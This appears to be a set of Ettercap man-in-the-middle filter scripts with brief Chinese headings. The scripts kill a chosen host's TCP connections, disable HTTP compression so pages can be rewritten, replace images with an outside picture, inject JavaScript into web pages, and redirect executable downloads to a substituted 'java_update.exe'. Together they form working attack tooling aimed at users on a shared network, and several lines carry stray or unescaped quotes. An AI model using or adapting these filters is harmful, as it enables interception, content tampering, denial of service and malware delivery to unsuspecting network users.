if (ip.src == '10.0.0.16') { # sent the RST to both source and dest kill(); # don't even forward the packet drop(); msg("HaHa! a 2b(ip:10.0.0.16) has killed...\n"); }
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("img src=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" "); replace("IMG SRC=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" "); msg("Filter Ran.\n"); }
JavaSproit注入
使用的脚本是etter.filter.alert,弹窗提示
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "<body>")) { replace("<head>","<head><script type="text/javascript">alert('just for a test!');</script>"); replace("<HEAD>","<HEAD><script type="text/javascript">alert('just for a test');</script>"); msg("Filter run!...Exploit code injected ok!\n"); } }
替换URL
# replace rmccurdy with your website # replace the url with what ever exe you like
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("keep-alive", "close""); replace("Keep-Alive", "close" "); }
if (ip.proto == TCP && search(DATA.data, ": application") ){ # enable for logging log(DECODED.data, "/tmp/log.log"); msg("found EXEn"); # "Win32" is the first part of the exe example: # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc .. if (search(DATA.data, "Win32")) { msg("doing nothingn"); } else { replace("200 OK", "301 Moved Permanently Location: http://127.0.0.1/java_update.exe "); msg("redirect successn"); } }